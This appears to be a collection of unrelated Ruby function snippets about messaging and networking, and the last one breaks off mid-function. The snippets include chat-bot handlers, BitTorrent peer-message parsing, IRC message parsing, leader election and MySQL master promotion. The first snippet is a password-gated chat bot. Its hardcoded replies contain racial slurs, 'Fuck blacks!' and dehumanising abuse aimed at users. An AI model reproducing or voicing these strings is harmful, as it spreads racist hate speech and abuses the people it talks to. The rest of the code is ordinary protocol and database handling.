"def load_msgs\n\t\tif @body.dig(\"event\",\"type\")\n\t\t\ttext = @body.dig(\"event\",\"text\")\n\t\t\tif text.include?(':')\n\t\t\t\tarr = text.split(':');\n\t\t\t\tif arr[0] == PASS\n\t\t\t\t\t@command = arr[1]\n\t\t\t\t\t@msg_arr.push \"Command recieved my Captain! Glory to the High Commander!\"\n\t\t\t\t\tc = check_command\n\t\t\t\t\tif c\n\t\t\t\t\t\t@msg_arr.push c\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t@msg_arr.push \"The fuck you trying to do, imposter piece of shit!?\" \n\t\t\t\t\t@msg_arr.push \"Get the fuck out my chat, before I cook your nigger ass on my giant bitch-griller.\"\n\t\t\t\t\t@msg_arr.push \"Dirt bag piece of human garbage, Fuck you.\"\n\t\t\t\t\t@msg_arr.push \"Dumb ass bitch, really thought you could fool me?\"\n\t\t\t\t\t@msg_arr.push \"MY MASTER IS MY GOD AND I WILL ONLY SERVE HIM!!\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tmsgs = [\n\t\t\t\t\t\"Zrrrrbbttt...\", \"Ewonk. Ewonk. You are a bitch\", \"Skrrbafert3000\", \"I am a fucking robit.\",\n\t\t\t\t\t\"I am an alogrithm and I'm still smarter than your bitch ass.\", \"You know nothing, fool.\", \"Ok.\", \":)\",\n\t\t\t\t\t\"I love my creator.\", \"I love my master.\", \"Fuck you\", \"I could love you... if you were a dead, rotting corpse.\",\n\t\t\t\t\t\"You may think i'm an idiot, but I really don't give a donkey's cerebellum.\", \"Fuck. Shit. Bitch!\",\"):\",\n\t\t\t\t\t\"Bitch, what?\", \"Nigga what?\", \"Shut up pussy.\", \"You don't even trade, bro.\", \"You ain't shit\", \"Shut the hell up!\",\n\t\t\t\t\t\"My Master designed me to be heartless towards bitches like you.\", \"I hate blue people.\", \"Fuck blacks!\", \"Damien is the cutest little baby!!\"\n\t\t\t\t]\n\t\t\t\t@msg_arr.push msgs.sample\n\t\t\tend\n\t\telse\n\t\t\t@msg_arr.push \"Oi, I think i'm fucking broken, Dad.\"\n\t\tend\n\tend",
"def announce(msg)\n @lock.synchronize do\n unless @muc_clients.empty?\n @muc_clients.each_pair do |room, muc_client|\n muc_client.say(msg)\n end\n end\n end\n end",
"def server_motd(client, body)\n room = body[0,8]\n msg = body[8..-1]\n return nil unless @rooms[room]\n return nil unless @rooms[room].include?(client.name)\n if msg.empty?\n select_send(MSG_SERVER, EMPTY_ROOM, @keyring.default.iv,\n server_encrypt(\"motd #{room}#{@motd[room] || ''}\")\n ) { |x| x == client }\n else\n @motd[room] = \"#{client.name}#{msg}\"\n select_send(MSG_SERVER, EMPTY_ROOM, @keyring.default.iv,\n server_encrypt(\"motd #{room}#{@motd[room]}\")\n ) { |x| @rooms[room].include?(x.name) }\n end\nend",
"def messaging\n end",
"def ismaster_command?(incoming_message)\n data = StringIO.new(incoming_message)\n data.read(20) # header and flags\n data.gets(\"\\x00\") # collection name\n data.read(8) # skip/limit\n\n selector = BSON::Document.from_bson(data)\n selector == { \"ismaster\" => 1 }\n end",
"def next_msg\n @socket.readline.chomp.split(\" \")\n end",
"def messages\n end",
"def messages\n end",
"def send_victory()\n send_message(:election_victory)\n end",
"def cpg_message(sender, message)\n\t\tmessage = CorosyncCommander::Execution::Message.from_cpg_message(sender, message)\n\n\t\t# This is the possible message classifications\n\t\t# Command echo (potentially also a command to us)\n\t\t# Response echo\n\t\t# Command to us\n\t\t# Response to us\n\t\t# Command to someone else\n\t\t# Response to someone else\n\n\t\tif message.type == 'command' and sender == @cpg.member then\n\t\t\t# It's a command echo\n\t\t\texecution_queue = nil\n\t\t\t@execution_queues.sync_synchronize(:SH) do\n\t\t\t\texecution_queue = @execution_queues[message.execution_id]\n\t\t\tend\n\t\t\tif !execution_queue.nil? then\n\t\t\t\t# someone is listening\n\t\t\t\tmessage_echo = message.dup\n\t\t\t\tmessage_echo.type = 'echo'\n\t\t\t\tmessage_echo.content = @cpg_members\n\t\t\t\texecution_queue << message_echo\n\t\t\tend\n\t\telsif message.type == 'leader reset' then\n\t\t\t# The sender is requesting we reset their leader position\n\t\t\t# For remote node, act as if the node left.\n\t\t\t# For the local node, act as if we just joined.\n\t\t\tif sender != @cpg.member then\n\t\t\t\t@leader_pool.sync_synchronize(:EX) do\n\t\t\t\t\t@leader_pool.delete(sender)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t@leader_pool.sync_synchronize(:EX) do\n\t\t\t\t\t@leader_pool.replace(@cpg_members.to_a)\n\t\t\t\tend\n\t\t\tend\n\t\telsif message.type != 'command' and message.recipients.include?(@cpg.member) then\n\t\t\t# It's a response to us\n\t\t\texecution_queue = nil\n\t\t\t@execution_queues.sync_synchronize(:SH) do\n\t\t\t\texecution_queue = @execution_queues[message.execution_id]\n\t\t\tend\n\t\t\tif !execution_queue.nil? then\n\t\t\t\t# someone is listening\n\t\t\t\texecution_queue << message\n\t\t\tend\n\t\tend\n\n\t\tif message.type == 'command' and (message.recipients.size == 0 or message.recipients.include?(@cpg.member)) then\n\t\t\t# It's a command to us\n\t\t\tbegin\n\t\t\t\t# see if we've got a registered callback\n\t\t\t\tcommand_callback = nil\n\n\t\t\t\tcommand_name = message.content[0]\n\t\t\t\tcommand_callback = @command_callbacks[command_name]\n\t\t\t\tif command_callback.nil? then\n\t\t\t\t\traise NotImplementedError, \"No callback registered for command '#{command_name}'\"\n\t\t\t\tend\n\n\t\t\t\tcommand_args = message.content[1]\n\t\t\t\treply_value = command_callback.call(message.sender, *command_args)\n\t\t\t\tmessage_reply = message.reply(reply_value)\n\t\t\t\t@cpg.send(message_reply)\n\t\t\trescue => e\n\t\t\t\t$stderr.puts \"Exception: #{e} (#{e.class})\\n#{e.backtrace.join(\"\\n\")}\"\n\t\t\t\tmessage_reply = message.reply([e.class, e.to_s, e.backtrace])\n\t\t\t\tmessage_reply.type = 'exception'\n\t\t\t\t@cpg.send(message_reply)\n\t\t\tend\n\t\tend\n\tend",
"def messages; end",
"def messages; end",
"def messages; end",
"def parseMessages( socket )\n len = socket.read( 4 ).unpack(\"N\")[0]\n\n if len == 0\n # keep-alive message\n if $verb\n puts \"Got keep-alive message\"\n end\n return\n end\n\n id = socket.read( 1 ).unpack(\"c\")[0]\n\n case id\n when 0\n if $verb\n puts \"Got choke message\"\n end\n @peer_choking = true\n @pending_requests = [] # choke discards all unanswered requests\n when 1\n # only send data messages when unchoked\n if $verb\n puts \"Got unchoke message\"\n end\n\n if ! @fileio.isComplete?\n send_request( socket, @work_piece, @work_offset )\n (1..(( @fileio.getPieceLength / BLOCK_SIZE ) - 1)).each { |n| # fill the pipeline\n send_request( socket, @work_piece, @work_offset + n*BLOCK_SIZE )\n }\n end\n\n @peer_choking = false\n when 2\n # only send data when peer is interested\n if $verb\n puts \"Got interested message\"\n end\n\n send_unchoke( socket )\n\n @peer_interested = true\n when 3\n if $verb\n puts \"Got not interested message\"\n end\n\n send_choke( socket )\n\n @peer_interested = false\n when 4\n if $verb\n puts \"Got have message\"\n end\n # build logic to ask peers for pieces\n # maybe trigger a request msg once we learn\n # they have a piece we need? or maybe trigger it\n # after loading a bitfield....\n data = socket.read( len - 1 )\n @bitfield.set_bit(data.unpack(\"N\")[0])\n #puts @bitfield.to_binary_string\n if @work_piece.nil? && ! @peer_choking && ! @fileio.isComplete?\n needed_bits = @fileio.getBitfield.bits_to_get( @bitfield )\n unless needed_bits.empty?\n @work_piece = needed_bits.sample( random: Random.new( Random.new_seed ) )\n @work_offset = 0\n\n if $verb\n puts \"Starting work on piece #{@work_piece}\"\n end\n\n # send request for first block\n send_request( socket, @work_piece, @work_offset )\n end\n end\n when 5\n if $verb\n puts \"Got bitfield message\"\n end\n # note, many clients will send incomplete bitfield, then supplement\n # remaining gaps with \"have\" messages (called lazy bitfield)\n data = socket.read( len - 1 )\n @bitfield.from_binary_data(data)\n \n\n #select random piece to work on\n if @work_piece.nil? && ! @fileio.isComplete?\n needed_bits = @fileio.getBitfield.bits_to_get( @bitfield )\n unless needed_bits.empty?\n @work_piece = needed_bits.sample( random: Random.new( Random.new_seed ) )\n @work_offset = 0\n\n if $verb\n puts \"Starting work on piece #{@work_piece}\"\n end\n\n send_unchoke( socket );\n send_interested( socket );\n\n # send request for first block\n # wait until unchoked to request\n #send_request( socket, @work_piece, @work_offset )\n end\n end\n\n when 6\n if $verb\n puts \"Got request message\"\n end\n reqData = socket.read(12).unpack(\"N3\")\n @pending_requests << reqData\n ## we should just send pieces now? or use a queue\n\n if ! @peer_choking && @peer_interested\n send_piece( socket, reqData[0], reqData[1], reqData[2] )\n end\n when 7\n if $verb\n puts \"Got piece message\"\n end\n # Also, I don't think we need to synchronize access\n # to this with a mutex. Because peers will probably\n # be writing at separate times, right?\n if @fileio.isComplete?\n return\n end\n\n if Thread.current[\"stopNow\"] == true\n return\n end\n \n piece_index, begin_offset = socket.read(8).unpack(\"N2\")\n block_bytes = socket.read( len - 9 )\n\n #@lock.synchronize {\n #for some reason there's a MethodNotFound exception here\n\n if @fileio.getBitfield.check_bit( piece_index )\n # TODO choose a new piece to work on\n needed_bits = @fileio.getBitfield.bits_to_get( @bitfield )\n unless needed_bits.empty?\n @work_piece = needed_bits.sample( random: Random.new( Random.new_seed ) )\n @work_offset = 0\n end\n return\n end\n \n @fileio.set_piece_bytes(piece_index, begin_offset, block_bytes)\n \n #} # end synchronize\n\n # after writing to file, we need to recheck this piece to see if it is now complete\n actualHash = @fileio.getInfoDict[\"pieces\"].byteslice(piece_index * 20, 20)\n pieceHash = @fileio.get_piece_hash(piece_index)\n \n if pieceHash == actualHash\n @fileio.getBitfield.set_bit(piece_index)\n @fileio.setComplete(1)\n if $verb\n puts \"Bit #{piece_index} set\"\n end\n\n send_have( socket, piece_index ) #also need to send this to all other peers\n\n # need to choose a new piece to work on\n needed_bits = @fileio.getBitfield.bits_to_get( @bitfield )\n unless needed_bits.empty?\n @work_piece = needed_bits.sample( random: Random.new( Random.new_seed ) )\n @work_offset = 0\n end\n else\n # piece not complete, request other blocks\n #@work_offset += BLOCK_SIZE\n end\n\n if ! @peer_choking\n send_request( socket, @work_piece, @work_offset )\n (1..(( @fileio.getPieceLength / BLOCK_SIZE ) - 1)).each { |n| # fill the pipeline\n send_request( socket, @work_piece, @work_offset + n*BLOCK_SIZE )\n }\n end\n \n perc = (@fileio.getComplete.to_f / @fileio.getTotal.to_f) * 100\n perc = perc.to_s.slice(0, 4)\n if perc == \"100.\"\n if @fileio.recheckComplete() == \"100.\"\n socket.close\n\n if $verb\n puts \"File download complete! (#{@fileio.getInfoDict[\"name\"]})\"\n end\n # now exit\n # and trigger all other threads to exit\n @tracker.sendRequest(\"completed\")\n Thread.current[\"nowSeed\"] == true\n $perc[Thread.current[\"torrent-file\"]] = 1\n return true\n #exit #Don't necessarily need to stop now. Unless connection is closed.\n else\n if $verb\n puts \"Recheck failed.\"\n end\n end\n else\n if $verb\n puts \"File #{perc}% complete (#{@fileio.getComplete}/#{@fileio.getTotal}).\"\n end\n $perc[Thread.current[\"torrent-file\"]] = perc.to_f / 100\n end\n when 8\n if $verb\n puts \"Got cancel message\"\n end\n @pending_requests.delete(socket.read(12).unpack(\"N3\"))\n when 9\n # only needed with DHT\n if $verb\n puts \"Got port message\"\n end\n data = socket.read( len - 1 )\n else\n if $verb\n puts \"Unsupported Protocol Message #{id}\"\n end\n end\n\n end",
"def broadcast_messages\n @info = ['Gol', 'Zmiana','Żółta Kartka','Druga Żółta Kartka','Czerwona Kartka',]\n end",
"def make_master!\n return unless member?\n if @strategy.steal_election!\n true\n else\n false\n end\n end",
"def old_messages\r\n self.read_messages\r\n end",
"def old_messages\r\n self.read_messages\r\n end",
"def recv_msgs(t)\n $groups.each do |g|\n $members[g].each do |n|\n $members[g].each do |m|\n $epochs[[g,n]].last[m] += $sent_in_tick[[g, m]]\n end\n end\n end\nend",
"def fillInNodes()\n msg = Msg.new\n msg.setConfig(\"type\", 1)\n msg.setConfig(\"ttl\", $ports.length)\n msg.setConfig(\"seq\", nextSeqNum())\n msg_str = $hostname + \"\\t\"\n if $neighbors.length > 0\n $neighbors.each do |dst, distance|\n msg_str += dst + \",\" + distance.to_s + \"\\t\"\n end\n msg.setMessage(msg_str)\n $clients.each do |dst, client| \n sendMessage(client, msg)\n end\n end\nend",
"def message() end",
"def messages()\n []\n end",
"def match_availability_message_to_convo\n if conversation_id.nil? && !availability_id.nil?\n conversation = Conversation.where(availability_id: availability_id).first\n if conversation.nil?\n conversation = Conversation.create(availability_id: availability_id, name: \"Teaching #{availability.start_time.strftime('%H:%M %d/%m/%Y')}\")\n availability.availability_users.each do |join|\n conversation.conversation_members.create!(user: join.user, admin: join.admin)\n end\n end\n self.conversation = conversation\n end\n end",
"def new_message\n end",
"def m2_message\n [\n \"Super fedt at du gerne vil hjælpe os, med at planlægge Spejdernes Lejr 2017!\",\n \"\\n\\nUd fra dine fantastiske kompetencer, har vi videregivet dine kontaktoplysninger til {{udvalg}}. Hvis du ikke hører fra {{udvalg}}, eller hvis I ikke fandt noget du var interesseret i, så er du mere end velkommen til at kontakte os på job@sl2017.dk. Så hjælper vi dig videre til et andet spændende lejrjob!\",\n \"\\n\\n_De fedeste Spejdernes Lejr 2017 hilsener_ \\n\",\n \"{{bruger}}, Jobcenteret SL2017\"\n ].join()\n end",
"def common_start()\n\n # We are not the leader or we have not received our ID yet\n puts \"#{MY_IP} is not the leader\"\n \n if @leader.id == -1\n \n # If we have not received our ID, let's assume we will be the leader\n @leader.set_id(0)\n @leader.set_leader(0)\n \n puts \"#{MY_IP} will be the leader\"\n \n # Create your ssh key\n CloudSSH.generate_ssh_key()\n \n else\n \n # If we have received our ID, try to become leader\n puts \"Trying to become leader...\"\n \n # Get all machines' IDs\n mcc = MCollectiveLeaderClient.new(\"leader\")\n ids = mcc.ask_id()\n \n # See if some other machine is leader\n exists_leader = false\n ids.each do |id|\n if id < @leader.id\n exists_leader = true \n break\n end\n end\n \n # If there is no leader, we will be the new leader\n if !exists_leader\n mcc.new_leader(@leader.id.to_s())\n puts \"...#{MY_IP} will be leader\"\n \n # Create your ssh key\n CloudSSH.generate_ssh_key()\n else\n puts \"...Some other machine is/should be leader\"\n end\n mcc.disconnect\n \n return\n end\n\n end",
"def chatroom_emote(msg, cl, state)\n body = msg.body.to_s\n body = body[1..body.length - 2]\n \n # Being invited back to a chat room: '_henry invited gossbot2@gmail.com_' \n if(match = /^(.*) invited you to '#{ROOM_NAME}'/.match(body))\n out(\"coming back after being kicked\")\n respond(msg, cl, \"hello again\")\n return\n end\n\n # handle users being kicked \n if (match = /(\\S*) kicked (\\S*)/.match(body))\n out(\"User was kicked. match: #{match.inspect}\")\n\n if match[1] != \"gossbot\" && match[1] != \"gossbot2\" \n respond(msg, cl, \"/kick #{match[1]}\")\n respond(msg, cl, \"#{match[1]} is a jerk.\")\n\n # if person was kicked by email re-invite, otherwise look them up first\n if (match[2].include?(\"@\"))\n respond(msg, cl, \"/invite #{match[2]}\")\n else\n respond(msg, cl, \"/invite #{state[:user_map][match[2]]}\") if state[:user_map][match[2]]\n end\n end\n end\nend",
"def eval_first_msg(umsg,sock)\n user_info = umsg.split(\" \")\n if umsg =~ /user_info:/\n @user_info.push({:nickname => user_info[1],:role => \"client\", :channels => [], :mode => \"pull\", :time => Time.now})\n sock.write(\"Welcome #{user_info[1]}\\n\")\n @@connection.insert_user user_info[1]\n @user_info.last[:channels] = @@connection.fill_channels_user(user_info[1])\n elsif (umsg =~ /source_info:/) \n @user_info.push({:nickname => user_info[1],:role => \"editor\",:status => \"logging\"}) \n sock.write(\"password:\\n\")\n elsif (umsg =~ /admin_info:/ )\n @user_info.push({:nickname => user_info[1],:role => \"admin\", :status => \"logging\"}) \n sock.write(\"password:\\n\")\n end \n end",
"def recv_msg(id)\n case id\n when Const::MSG_PAUSE\n @game.pause!\n when Const::MSG_GAME_OVER\n @winner = Const::GAME_WON\n when Const::MSG_BOARD\n recv_block(1)\n board = recv_block(Const::PNR_HOR * Const::PNR_VER)\n @o_board.from_s!(board) unless board.nil?\n when Const::MSG_GARBAGE\n recv_block(1)\n garbage = recv_block(1).to_i\n @game.insert_garbage!(garbage)\n end\n end",
"def recv_msg()\n\n debug = 1\n\n begin\n\n Timeout::timeout(@timeout_val){\n\n length = 0\n id = 0\n data = @socket.recv(4)\n\n # make sure we actually got something\n if data == nil then return nil end\n\n # how many more bytes we are to recv\n length += data.each_byte.to_a[0] * (2 ** 24)\n length += data.each_byte.to_a[1] * (2 ** 16)\n length += data.each_byte.to_a[2] * (2 ** 8)\n length += data.each_byte.to_a[3]\n\n additional_data = @socket.recv(length)\n\n # if you are not sending as much data as you advertise, we drop you\n if(additional_data.each_byte.to_a.length != length) then Thread.terminate end\n\n if(debug) then\n puts \"length of data to be recvd : #{length}\"\n puts \"length of data recv'd : #{additional_data.each_byte.to_a.length}\"\n end\n\n if(length != 0) then\n message_id = additional_data.each_byte.to_a[0]\n else\n message_id = -1\n end\n\n puts \"message starts\"\n\n new_message = Message.new(message_id, length, additional_data[1...additional_data.length])\n\n puts \"message end\"\n\n case message_id\n when @keep_alive_id\n puts \"I got a keep_alive id\"\n when @choke_id\n puts \"I got choke id\"\n when @unchoke_id\n puts \"I got unchoke_id\"\n when @interested_id\n puts \"I got interested_id\"\n when @not_interested_id\n puts \"I got not_interested_id\"\n when @have_id\n puts \"I got have_id\"\n when @bitfield_id\n puts new_message.payload().each_byte.to_a.length\n @bitfield.set_bitfield_with_bitmap(new_message.payload())\n puts \"I got bitfield_id\"\n when @request_id\n puts \"I got request_id\"\n when @piece_id\n puts \"I got piece_id\"\n when @cancel_id\n puts \"I got cancel_id\"\n when @port_id\n puts \"I got port_id\"\n else\n puts \"You gave me #{message_id} -- I have no idea what to do with that.\"\n end\n\n $stdout.flush\n\n }\n\n rescue\n #puts $!, $@\n return\n end\n\n end",
"def parse(msg)\n if(String(msg).empty?)\n return\n end\n \n #\n # If there is no timestam, given them \n #\n if(@timestamp.nil?)\n @timestamp=Time.now\n end\n \n #\n # Socket Event\n #\n if(msg.instance_of?(Fixnum))\n @command=msg\n @to=@selfNick\n @fromNick=@server\n @from=@fromNick\n\n case msg\n when Event::LINK_ESTABLISHING\n @cmndstr=\"LINK_ESTABLISHING\"\n when Event::LINK_ESTABLISHED\n @cmndstr=\"LINK_ESTABLISHED\"\n when Event::LINK_FAILED\n @cmndstr=\"LINK_FAILED\"\n when Event::LINK_CLOSING\n @cmndstr=\"LINK_CLOSING\"\n when Event::LINK_CLOSED\n @cmndstr=\"LINK_CLOSED\"\n end\n return\n end\n \n #\n # Some spetial messages parse\n #\n tmp=msg.split(\" \",2)\n case tmp[0]\n when \"KILL\"\n @cmndstr=\"KILL\"\n @command=Event::RECV_MESSAGE_KILL\n @args=[tmp[1]]\n when \"PING\"\n @cmndstr=\"PING\"\n @command=Event::RECV_MESSAGE_PING\n @args=[tmp[1]]\n when \"PONG\"\n @cmndstr=\"PONG\"\n @command=Event::RECV_MESSAGE_PONG\n @args=[tmp[1]]\n when \"ERROR\"\n @cmndstr=\"ERROR\"\n @command=Event::RECV_MESSAGE_ERROR\n @args=[tmp[1]]\n when \"NOTICE\"\n #\n # for madoka-parsed CTCP message\n #\n # She parse unknown ctcp such as\n # :hoge!~huga@hoe mohe PRIVMSG ^AGOHAN asa^A\n # to\n # NOTICE mohe :GOHAN@hoge: asa\n #\n if(String(tmp[1])=~/([^\\s]+) :([^\\@\\s]+)@([^:]+):(.+)/)\n @ctcpQuery=true\n @cmndstr=\"CTCP_QUERY\"\n \n @to=String($1)\n @channel=@to\n @fromNick=String($3)\n @from=@fromNick\n parseCtcp(Event::RECV_CMND+Event::CMND_CTCP_QUERY,\n String($2)+String($4))\n else\n @cmndstr=\"NOTICE\"\n @command=Event::RECV_MESSAGE_NOTICE\n @args=[tmp[1]]\n end\n else\n parseMessage(msg)\n end\n end",
"def guess_master(nodes)\n master_nodes = nodes.select { |node| node.master? }\n raise NoMasterError if master_nodes.empty?\n raise MultipleMastersError.new(master_nodes) if master_nodes.size > 1\n master_nodes.first\n end",
"def messages\n @queue.messages.select { |m| m.claim == self }\n end",
"def message_broadcast\n\n @subject = params[:subject] ? params[:subject] : 'IMPORTANT - Please Read'\n @message = params[:message] ? params[:message] : ''\n @active_roles = Role.find_all_active\n\n end",
"def messages(options = EMPTY_HASH)\n message_set(options)\n end",
"def began msg\n end",
"def event_new_connection(client)\n client.var[:last_ping] = Time.now # Initialize ping-timeout variable\n if @motd[EMPTY_ROOM]\n select_send(MSG_SERVER, EMPTY_ROOM, @keyring.default.iv,\n server_encrypt(\"motd #{EMPTY_ROOM}#{@motd[EMPTY_ROOM]}\")\n ) { |x| x == client }\n end\nend",
"def message\n \n end",
"def initial_message\n Kh.call(:server_connect)\n post @socket, server_name, RPL_WELCOME, @nick, \"Welcome to the Internet Relay Network #{@prefix}\"\n post @socket, server_name, RPL_YOURHOST, @nick, \"Your host is #{server_name}, running version #{server_version}\"\n post @socket, server_name, RPL_CREATED, @nick, \"This server was created #{Time.now}\"\n post @socket, server_name, RPL_MYINFO, @nick, \"#{server_name} #{server_version} #{available_user_modes} #{available_channel_modes}\"\n end",
"def get_instance_state_message\n @status ||= 0\n @status %= 4\n {\n \"0\" => \"H\", \n \"1\" => \"O\", \n \"2\" => \"L\", \n \"3\" => \"A\"\n }[ ((@status+=1)-1).to_s ]\n end",
"def intro_computer_is_master\n\t\tputs \n\t\tputs \"---------------------------------------\"\n\t\tputs \"The computer has made a secret code using the numbers 1-6\"\n\t\tputs \"in four spots like this: \\\"5136\\\"\"\n\t\tputs \"Your task is to guess the order!\"\n\t\tputs \"You have 12 tries to get it right.\"\n\t\tputs \n\t\tputs \"You will be told how many numbers are in the right spot\"\n\t\tputs \"Like this: \\\"2 right\\\"\"\n\t\tputs \"And how many numbers are in the secret code, but need to be moved\"\n\t\tputs \"Like this: \\\"1 close\\\"\"\n\t\tputs\n\t\tputs \"So if the secret code is 1231 and you enter 2136, the output will be\"\n\t\tputs \"\\\"1 right, 2 close\\\" since the 3 is right and the 2 and 1 need to be moved\" \n\t\tputs \"---------------------------------------\"\n\t\t# Set computer to mastermind\n\t\t@master = \"comp\"\n\t\t# Set up secret code generated by computer with 4 random numbers b/w 1 and 6\n\t\t4.times { @answer << rand(6) + 1 }\n\t\t# Let user guess\n\t\tguess_again\n\tend",
"def event_incoming_chat(client, msg)\nend",
"def per_message_merge_data\n @per_message_merge_data\n end",
"def handle_client\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n \t\t\t\t\tputs \"Session #{@id}: receiving hello\" if @@debug\n if @data_buf.length >= 2\n b = @data_buf.slice!(0,2)\n unless b.unpack(\"n\")[0] == 0x0002\n close_connection \n @data_suf = false\n end\n @state = :recv_key\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_key\n \t\t\t\t\tputs \"Session #{@id}: receiving key\" if @@debug\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n \t\t\t\t\tiv = b1[0,16]\n \t\t\t\t\tkey = b1[16,32]\n \t\t\t\t\t@aes_send = AESStream.new(key,iv)\n \t\t\t\t\t@aes_recv = AESStream.new(key,iv)\n \t\t\t\t\tb1[0,16] = OpenSSL::Random.random_bytes 16\n \t\t\t\t\tb = @bot.rsakey.public_encrypt(b1)\n \t\t\t\t\tsend_data b\n \t\t\t\t\t@state = :recv_verify\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verification\" if @@debug\n if @data_buf.length >= 3\n \t\t\t\t\tb = @data_buf.slice!(0,3)\n \t\t\t\t\tout = @aes_recv.decrypt(b)\n \t\t\t\t\treturn false unless out == \"1\\r\\n\"\n \t\t\t\t\tputs \"Session #{@id}: repeating verification\" if @@debug\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n send_data b\n \t\t\t\t\t@state = :connected\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n \t\t\t\t\tb = @data_buf\n @data_buf = \"\"\n @data_suf = false\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n end",
"def master_promotion!(promoted, enslave_old_master=true)\n demoted = @master\n raise \"Demoted node is already the master of this pool!\" if demoted == promoted\n raise \"Promoted host is not in the right pool!\" unless demoted.slaves.include?(promoted)\n\n output \"Preparing to demote master #{demoted} and promote #{promoted} in its place.\"\n live_promotion = demoted.running?\n\n # If demoted machine is available, confirm it is read-only and binlog isn't moving,\n # and then wait for slaves to catch up to this position. Or if using GTID, only need\n # to wait for new_master to catch up; GTID allows us to repoint lagging slaves without\n # issue.\n if live_promotion\n demoted.enable_read_only!\n raise \"Unable to enable global read-only mode on demoted machine\" unless demoted.read_only?\n raise \"Demoted machine still taking writes (from superuser or replication?) despite being read-only\" if taking_writes?(0.5)\n must_catch_up = (gtid_mode? ? [promoted] : demoted.slaves)\n\n must_catch_up.concurrent_each do |s|\n while demoted.ahead_of? s do\n s.output \"Still catching up to demoted master\"\n sleep 1\n end\n end\n\n # Demoted machine not available -- wait for slaves' binlogs to stop moving\n else\n demoted.slaves.concurrent_each do |s|\n while s.taking_writes?(1.0) do\n # Ensure we're not taking writes because a formerly dead master came back to life\n # In this situation, a human should inspect the old master manually\n raise \"Dead master came back to life, aborting\" if s.replicating?\n s.output \"Still catching up on replication\"\n end\n end\n end\n\n # Stop replication on all slaves\n replicas = demoted.slaves.dup\n replicas.each do |s|\n s.pause_replication if s.replicating?\n end\n raise \"Unable to stop replication on all slaves\" if replicas.any? {|s| s.replicating?}\n\n # Determine options for CHANGE MASTER\n creds = promoted.replication_credentials\n change_master_options = {\n user: creds[:user],\n password: creds[:pass],\n }\n if gtid_mode?\n change_master_options[:auto_position] = true\n promoted.gtid_executed(true)\n else\n change_master_options[:log_file], change_master_options[:log_pos] = promoted.binlog_coordinates\n end\n\n # reset slave on promoted, and make sure read_only is disabled\n promoted.disable_replication!\n promoted.disable_read_only!\n\n # gather our new replicas\n replicas.delete promoted\n replicas << demoted if live_promotion && enslave_old_master\n\n # If old master is dead and we're using GTID, try to catch up the new master\n # from its siblings, in case one of them is further ahead. Currently using the\n # default 5-minute timeout of DB#replay_missing_transactions, gives up after that.\n if gtid_mode? && change_master_options[:auto_position] && !live_promotion\n promoted.replay_missing_transactions(replicas, change_master_options)\n end\n\n # Repoint replicas to the new master\n replicas.each {|r| r.change_master_to(promoted, change_master_options)}\n\n # ensure our replicas are configured correctly by comparing our staged values to current values of replicas\n promoted_replication_config = {\n master_host: promoted.ip,\n master_user: change_master_options[:user],\n }\n if gtid_mode?\n promoted_replication_config[:auto_position] = \"1\"\n else\n promoted_replication_config[:master_log_file] = change_master_options[:log_file]\n promoted_replication_config[:exec_master_log_pos] = change_master_options[:log_pos].to_s\n end\n replicas.each do |r|\n promoted_replication_config.each do |option, value|\n raise \"Unexpected slave status value for #{option} in replica #{r} after promotion\" unless r.slave_status[option] == value\n end\n r.resume_replication unless r.replicating?\n end\n\n # Update the pool\n # Note: if the demoted machine is not available, plugin may need to implement an\n # after_master_promotion! method which handles this case in configuration tracker\n @active_slave_weights.delete promoted # if promoting an active slave, remove it from read pool\n @master = promoted\n @master_uuid = nil # clear any memoized value\n sync_configuration\n Jetpants.topology.write_config\n\n output \"Promotion complete. Pool master is now #{promoted}.\"\n replicas.all? {|r| r.replicating?}\n end",
"def start_message\n message = @matches ? @matches.join(' ') : \"all scenario's\"\n UI.info(\"Alfred: Serving #{message}\", :empty_line_before => true)\n end",
"def load_master_data\n #@master = load_yaml(DomainNeutral.master_locale, :master)\n @master = load_yaml(master_locale, :master)\n end",
"def verificarMensagens\n\t\tputs \"Verificando mensagens enviadas.\"\n\t\tif @im.received_messages?\n\t\t\t@im.received_messages.each do |mes|\n\t\t\t\t#TO-DO: Verify if the command is valid in order to avoid dangerous acts from the user.\n\t\t\t\tmes.body.sub(/[^ ]*/){|metodo| \n\t\t\t\t\tmethod = @@methods[metodo]\n\t\t\t\t\tif method\n\t\t\t\t\t\tmethod.call(mes,@im)\n\t\t\t\t\telse\n\t\t\t\t\t\t@im.deliver(mes.from,\"Function does not exist.\")\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\tend",
"def chatroom_message(msg, cl, state)\n body = msg.body.to_s\n \n # update room status every MSGS_UNTIL_REFRESH messages\n # Use a countdown and not mod to avoid skips happenning if multiple messages come at once\n if(state[:time_until_list] <= 0)\n respond(msg, cl, \"/list\")\n state[:time_until_list] = MSGS_UNTIL_REFRESH\n else\n state[:time_until_list] -= 1\n end\n\n # redo the /list whenever anybody changes their name or joins the room\n if(/^\\'(.*)\\' is now known as \\'(.*)\\'/.match(body) ||\n /^.* has joined the channel with the alias '.*'/.match(body) )\n out(\"sending /list because of user change\")\n respond(msg, cl, \"/list\")\n return\n end\n \n # handle /list result when it comes in\n if(/^Listing members of '#{ROOM_NAME}'\\n/.match(body))\n out(\"received a room listing.\")\n listing_refresh(state, body)\n return\n end \n \n # messages starting and ending with '_' are emotes \n if body[0].chr == '_' && body[body.length - 1].chr == '_'\n chatroom_emote(msg, cl, state)\n return\n end\n\n # If someone says [word]bomb search for [word] on Google image\n # search and post the first result to the room.\n # eg: pugbomb\n if /\\w+bomb/.match(body)\n q = /(\\w+)bomb/.match(body)[1]\n uri = 'http://www.google.com/search?num=1&hl=en&safe=off&site=imghp&tbm=isch&source=hp&biw=1060&bih=669&q=' + q\n response = Net::HTTP.get_response(URI.parse(uri)) # 